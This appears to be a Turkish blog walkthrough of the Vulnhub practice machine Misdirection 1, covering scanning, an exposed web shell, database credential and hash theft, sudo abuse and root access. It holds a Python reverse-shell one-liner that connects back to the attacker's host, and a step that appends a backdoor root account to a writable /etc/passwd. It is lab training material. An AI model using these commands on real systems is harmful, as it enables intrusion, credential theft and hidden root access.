Makine Hakkında Bilgiler
Açıklama:
The purpose of this machine is to grant OSCP students further develop, strengthen, and practice their methodology for the exam.
This works better with VirtualBox rather than VMware
Vulnhub Sayfası:
https://www.vulnhub.com/entry/misdirection-1,371/
İndirme Sayfası:
https://download.vulnhub.com/misdirection/Misdirection.zip
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:97:a8:e4, IPv4: 192.168.6.132
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1 00:50:56:c0:00:08 VMware, Inc.
192.168.6.2 00:50:56:f3:da:b0 VMware, Inc.
192.168.6.136 00:0c:29:c0:ee:d9 VMware, Inc.
192.168.6.254 00:50:56:e2:58:34 VMware, Inc.
51 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.024 seconds (126.48 hosts/sec). 4 responded
nmap taraması ile devam edelim.
[*] Scan: 989
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-11 20:39 EDT
Nmap scan report for 192.168.6.136
Host is up (0.00029s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)
| 256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_ 256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp open http Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-server-header: Rocket 1.2.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:0C:29:C0:EE:D9 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.29 ms 192.168.6.136
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds
nikto ve gobuster ile taraalar yapmayı denedim bu esnada bir web shell farkettim.
┌──(root💀kali)-[~]
└─# cat /root/oscp/misdirection/3
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.6.136:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes: 400,404,502
[+] User Agent: gobuster/3.1.0
[+] Extensions: bash,html,conf,php5,sh,sql,txt,7z,php,cap,bak,zip,rar,pcap
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/11 09:20:44 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.6.136:8080/index.html (Status: 200) [Size: 10918]
http://192.168.6.136:8080/scripts (Status: 200) [Size: 746]
http://192.168.6.136:8080/help (Status: 200) [Size: 740]
http://192.168.6.136:8080/images (Status: 200) [Size: 744]
http://192.168.6.136:8080/development (Status: 200) [Size: 754]
http://192.168.6.136:8080/manual (Status: 200) [Size: 744]
http://192.168.6.136:8080/css (Status: 200) [Size: 738]
http://192.168.6.136:8080/js (Status: 200) [Size: 736]
http://192.168.6.136:8080/shell (Status: 200) [Size: 742]
http://192.168.6.136:8080/wordpress (Status: 200) [Size: 11419]
http://192.168.6.136:8080/debug (Status: 200) [Size: 12908]
http://192.168.6.136:8080/server-status (Status: 403) [Size: 280] http://192.168.6.136:8080/debug/ adresine geldiğimizde www-data kullanıcısından reverse alabildim. Kullandığım payload aşağıdadır.
p0wny@shell:…/html/debug# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.132",1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'└─# nc -lvp 1822
listening on [any] 1822 ...
192.168.6.136: inverse host lookup failed: Unknown host
connect to [192.168.6.132] from (UNKNOWN) [192.168.6.136] 36306
www-data@misdirection:/var/www/html/debug$ whoami
whoami
www-data
www-data@misdirection:/var/www/html/debug$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@misdirection:/var/www/html/debug$
Yaptığım incelemeler sonucunda mysql kullanıcısının bilgisine oradanda wordpress kullanıcısının hashine eriştim ancak kıramadım.
www-data@misdirection:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp_myblog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', 'abcdefghijklmnopqrstuv' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | admin | $P$BC4vcMsqXqr/cc46cx.E1arnrBq1yU/ | admin | [email protected] | | 2019-06-01 06:08:19 | | 0 | admin |
+----+------------+------------------------------------+---------------+------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.01 sec)
Daha sonrasında sudo yetkilerini kontrol ettim ve kolay bir şekilde yetki yükseltebildim.
[!] sud010 Can we list sudo commands without a password?................... yes!
---
Matching Defaults entries for www-data on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on localhost:
(brexit) NOPASSWD: /bin/bash
---ore--(1%)
[*] sud040 Can we read sudoers files?...................................... nopewww-data@misdirection:/tmp$ sudo -u brexit /bin/bash
sudo -u brexit /bin/bash
brexit@misdirection:/tmp$ whoami
whoami
brexit
brexit@misdirection:/tmp$ İlk flagi aldım.
brexit@misdirection:~$ cat user.txt
cat user.txt
404b9193154be7fbbc56d7534cb26339
brexit@misdirection:~$
find aracını gerçekten çok iyi kullanmamız gerektiğini düşünüyorum. Ne yazıkki basit bir makinede çok zaman kaybettim. Aşağıdaki sonuç gerçekten komik 🙂
brexit@misdirection:/tmp$ find /etc -writable -type f 2>/dev/null
find /etc -writable -type f 2>/dev/null
/etc/passwd
brexit@misdirection:/tmp$ Bunun üzerine paroalsı toor olacak şekilde kali üzerinden bir ahsh ürettim.
┌──(root💀kali)-[~/tool]
└─# openssl passwd -1 130 ⨯
Password:
Verifying - Password:
$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.Daha sonrasında root kullanıcısı ve grubu olarak bir kullanıcı ekledim.
brexit@misdirection:/var/www/html/debug$ echo 'hacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:/root:/bin/bash' >> /etc/passwd
<slBpbUZCr.:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/var/www/html/debug$ tail -n 1 /etc/passwd
tail -n 1 /etc/passwd
hacker:$1$8cSusXYr$UFL1aC9j8VzUslBpbUZCr.:0:0:root:/root:/bin/bash
brexit@misdirection:/var/www/html/debug$ su hacker
su hacker
Password: toor
root@misdirection:/var/www/html/debug# id
id
uid=0(root) gid=0(root) groups=0(root)
root@misdirection:/var/www/html/debug# cd /root
cd /root
root@misdirection:~# ls
ls
root.txt
root@misdirection:~# cat root.txt
cat root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c
İlk Yorumu Siz Yapın